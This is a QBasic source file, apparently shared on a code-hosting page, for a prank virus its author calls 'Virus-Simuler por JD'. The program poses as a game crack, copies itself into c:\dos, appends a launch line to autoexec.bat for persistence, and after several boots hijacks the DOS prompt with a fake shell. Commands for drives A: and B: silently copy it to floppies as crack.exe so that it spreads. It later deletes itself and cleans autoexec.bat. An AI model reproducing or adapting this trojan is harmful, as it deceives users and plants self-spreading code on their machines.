421 lines
12 KiB
QBasic
421 lines
12 KiB
QBasic
DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
|
||
DECLARE SUB borradelauto ()
|
||
DECLARE SUB copiarac (est)
|
||
DECLARE SUB aumentacarga (global)
|
||
DECLARE SUB Simulador ()
|
||
|
||
|
||
|
||
inicio:
|
||
DIM SHARED virus, c AS INTEGER, global, fc$(100)
|
||
CONST TRUE = -1
|
||
CONST FALSE = NOT TRUE
|
||
veza = 0: vezb = 0
|
||
|
||
ON ERROR GOTO errores
|
||
|
||
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
|
||
CLOSE
|
||
glob = est
|
||
aumentacarga (glob)
|
||
|
||
IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off )
|
||
'el programa se aborta.
|
||
|
||
'***** simulador *****
|
||
REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19)
|
||
|
||
PRINT
|
||
row% = CSRLIN - 1
|
||
hud = 80
|
||
old$ = TIME$
|
||
|
||
|
||
Simulador:
|
||
row% = row% + 1
|
||
a$ = ""
|
||
hud = hud + 1
|
||
|
||
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
|
||
PRINT
|
||
promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">"
|
||
|
||
'PRINT promt$:
|
||
Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%)
|
||
IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN
|
||
CLS
|
||
LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha."
|
||
borradelauto
|
||
SHELL "del c:\dos\cargas.dat >nul"
|
||
SHELL "del c:\dos\tempi.bin >nul"
|
||
SHELL "del c:\dos\TEMPI.exe >nul"
|
||
SYSTEM
|
||
END
|
||
END
|
||
END
|
||
END IF
|
||
|
||
a$ = end$
|
||
|
||
'*******------------**********------------*********---------**********-----
|
||
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador
|
||
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador
|
||
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador
|
||
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
|
||
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador
|
||
con = 0: L = 0: lug = 0: p = 0
|
||
DO
|
||
con = con + 1
|
||
L = L - 1
|
||
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador
|
||
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
|
||
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
|
||
IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador
|
||
END IF
|
||
|
||
|
||
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
|
||
sum = 0: l2 = 4
|
||
DO
|
||
sum = sum + 1
|
||
l2 = l2 + 1
|
||
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
|
||
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
|
||
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
|
||
END IF
|
||
|
||
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
|
||
sum = 0: l2 = 4
|
||
DO
|
||
sum = sum + 1
|
||
l2 = l2 + 1
|
||
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
|
||
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
|
||
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
|
||
|
||
END IF
|
||
|
||
'********************************************
|
||
'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA
|
||
'********************************************
|
||
RESTORE
|
||
b$ = ""
|
||
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
|
||
RESTORE datas
|
||
|
||
WHILE b$ <> "*"
|
||
READ b$, wqw$
|
||
IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion
|
||
WEND
|
||
|
||
|
||
a = 1: b = 0
|
||
|
||
DO WHILE b <= LEN(w$) + 1
|
||
b = b + 1
|
||
IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO
|
||
LOOP
|
||
valor = 0
|
||
q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0
|
||
pal$ = w$
|
||
|
||
OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113
|
||
FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$
|
||
FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$
|
||
|
||
GET #1, 1
|
||
IF valid$ = "*" THEN
|
||
MaxRecord = VAL(IoMaxRecord$)
|
||
ra = 1
|
||
|
||
DO WHILE ra <= MaxRecord
|
||
GET #1, ra + 1
|
||
Curr$ = IoDate$
|
||
One$ = IoRef$
|
||
Two$ = IoDos$
|
||
Three$ = IoTres$
|
||
Four$ = IoCuatro$
|
||
Five$ = IoCinco$
|
||
IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN
|
||
|
||
IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$;
|
||
|
||
IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1
|
||
IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1
|
||
IF q1 = 0 THEN PRINT Two$
|
||
|
||
IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1
|
||
IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1
|
||
IF q2 = 0 THEN PRINT Three$
|
||
|
||
IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1
|
||
IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18);
|
||
IF q3 = 0 THEN PRINT Four$
|
||
|
||
IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1
|
||
IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18);
|
||
IF q4 = 0 THEN PRINT Five$
|
||
|
||
valor = 1
|
||
EXIT DO
|
||
END IF
|
||
ra = ra + 1
|
||
LOOP
|
||
END IF
|
||
CLOSE
|
||
|
||
IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto"
|
||
|
||
GOTO Simulador
|
||
|
||
|
||
accion:
|
||
SELECT CASE VAL(wqw$)
|
||
CASE 1
|
||
PRINT : PRINT
|
||
PRINT " Volumen en unidad C no tiene etiqueta"
|
||
PRINT " N£mero de serie de volumen es 1138-1600"
|
||
PRINT
|
||
PRINT " Directorio de C:\" + ch$
|
||
PRINT
|
||
PRINT "Archivo no se encontr¢"
|
||
PRINT
|
||
GOTO Simulador
|
||
|
||
CASE 2
|
||
|
||
PRINT : PRINT "Imposible acceder a unidad requerida"
|
||
GOTO Simulador
|
||
CASE 3
|
||
CLS
|
||
PRINT
|
||
GOTO Simulador
|
||
|
||
CASE 4
|
||
PRINT : PRINT "Fichero no encontrado"
|
||
GOTO Simulador
|
||
|
||
CASE 5
|
||
COLOR 6
|
||
PRINT : PRINT "Virus-Simuler por JD"
|
||
COLOR 7
|
||
GOTO Simulador
|
||
|
||
CASE 6
|
||
PRINT : PRINT TIME$: GOTO Simulador
|
||
|
||
CASE 7
|
||
PRINT : PRINT DATE$: GOTO Simulador
|
||
CASE 8
|
||
IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul"
|
||
PRINT
|
||
PRINT "Cable de enlace con la unidad A, suelto"
|
||
veza = 1
|
||
|
||
GOTO Simulador
|
||
CASE 9
|
||
IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul"
|
||
PRINT
|
||
PRINT "Cable de enlace con la unidad B, suelto"
|
||
vezb = 1
|
||
GOTO Simulador
|
||
END SELECT
|
||
PRINT wqw$
|
||
GOTO Simulador
|
||
|
||
|
||
|
||
|
||
END
|
||
|
||
finprog:
|
||
|
||
IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::"
|
||
'system
|
||
|
||
END
|
||
|
||
errores:
|
||
IF ERR = 53 THEN copiarac (1)
|
||
RESUME NEXT
|
||
|
||
|
||
datas:
|
||
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9
|
||
DATA *,*
|
||
|
||
SUB aumentacarga (global)
|
||
|
||
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
|
||
INPUT #1, carga$
|
||
CLOSE
|
||
|
||
carga$ = STR$(VAL(carga$) + 1)
|
||
|
||
OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1
|
||
WRITE #1, carga$
|
||
CLOSE
|
||
|
||
' El virus se activara cuando el contador sea mayor de 3 y se
|
||
'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas.
|
||
IF VAL(carga$) > 3 THEN virus = 1
|
||
IF VAL(carga$) >= 9 THEN
|
||
borradelauto
|
||
KILL "cargas.dat"
|
||
KILL "c:\dos\tempi.bin"
|
||
KILL "c:\dos\TEMPI.exe"
|
||
|
||
END IF
|
||
END SUB
|
||
|
||
SUB borradelauto
|
||
|
||
'El proceso de borrado es complicado, hay que modificar apartir de las
|
||
'secuencias de grabado de datos las entradas o bytes donde se encuentra
|
||
'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto.
|
||
|
||
|
||
OPEN "c:\autoexec.bat" FOR INPUT AS #1
|
||
|
||
Q = 0
|
||
|
||
DO
|
||
Q = Q + 1
|
||
LINE INPUT #1, fc$(Q)
|
||
IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1
|
||
|
||
IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar
|
||
|
||
LOOP WHILE NOT EOF(1)
|
||
|
||
CLOSE #1
|
||
GOTO finh
|
||
|
||
grabar:
|
||
|
||
c = Q - 22
|
||
SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul"
|
||
SHELL "del c:\autoexec.bat >nul"
|
||
|
||
OPEN "c:\autoexec.bat" FOR APPEND AS #2
|
||
|
||
c = Q - 22
|
||
|
||
FOR Q = 1 TO c
|
||
|
||
PRINT #2, fc$(Q)
|
||
|
||
NEXT Q
|
||
|
||
CLOSE #2
|
||
|
||
finh:
|
||
|
||
END SUB
|
||
|
||
SUB copiarac (est)
|
||
|
||
' Ahora deber¡a auto-copiarse este programa a la unidad C
|
||
' e instalarse, en el archivo autoexec.bat
|
||
CLS
|
||
bit = 0
|
||
|
||
LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..."
|
||
LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::"
|
||
COLOR 12
|
||
|
||
SHELL "copy crack.exe c:\dos\tempi.exe >nul"
|
||
SHELL "copy crack.dat c:\dos\tempi.bin >nul"
|
||
|
||
SHELL "c:\dos\attrib -r c:\autoexec.bat >nul"
|
||
OPEN "c:\autoexec.bat" FOR APPEND AS #1
|
||
FOR a = c TO c + 20
|
||
PRINT #1, CHR$(13)
|
||
NEXT a
|
||
PRINT #1, "@echo off"
|
||
PRINT #1, "c:\dos\TEMPI"
|
||
CLOSE #1
|
||
|
||
COLOR 7
|
||
IF est = 1 THEN est = 1
|
||
|
||
END SUB
|
||
|
||
DEFINT A-Z
|
||
'GetString$:
|
||
' Given a row and col, and an initial string, edit a string
|
||
' VIS is the length of the visible field of entry
|
||
' MAX is the maximum number of characters allowed in the string
|
||
'
|
||
'
|
||
FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
|
||
PRINT start$;
|
||
|
||
|
||
IF Curr$ = CHR$(8) THEN Curr$ = ""
|
||
|
||
LOCATE , , 1
|
||
|
||
finished = FALSE
|
||
DO
|
||
GOSUB GetStringShowText2
|
||
GOSUB GetStringGetKey2
|
||
|
||
IF LEN(Kbd$) > 1 THEN
|
||
finished = TRUE
|
||
GetString2$ = Kbd$
|
||
ELSE
|
||
SELECT CASE Kbd$
|
||
CASE CHR$(13), CHR$(27), CHR$(9)
|
||
finished = TRUE
|
||
GetString2$ = Kbd$
|
||
|
||
CASE CHR$(8)
|
||
IF Curr$ <> "" THEN
|
||
Curr$ = LEFT$(Curr$, LEN(Curr$) - 1)
|
||
IF LEN(Curr$) >= 0 THEN
|
||
LOCATE CSRLIN, POS(0) - 1: PRINT " ";
|
||
IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1
|
||
END IF
|
||
END IF
|
||
|
||
CASE " " TO "}"
|
||
IF LEN(Curr$) < Max THEN
|
||
Curr$ = Curr$ + Kbd$
|
||
ELSE
|
||
BEEP
|
||
END IF
|
||
|
||
CASE ELSE
|
||
BEEP
|
||
END SELECT
|
||
END IF
|
||
|
||
LOOP UNTIL finished
|
||
|
||
end$ = Curr$
|
||
LOCATE , , 0
|
||
EXIT FUNCTION
|
||
|
||
|
||
GetStringShowText2:
|
||
|
||
IF LEN(Curr$) > Vis THEN
|
||
PRINT RIGHT$(Curr$, Vis);
|
||
ELSE
|
||
PRINT RIGHT$(Curr$, 1);
|
||
|
||
|
||
END IF
|
||
RETURN
|
||
|
||
GetStringGetKey2:
|
||
Kbd$ = ""
|
||
WHILE Kbd$ = ""
|
||
Kbd$ = INKEY$
|
||
WEND
|
||
RETURN
|
||
|
||
END FUNCTION
|
||
|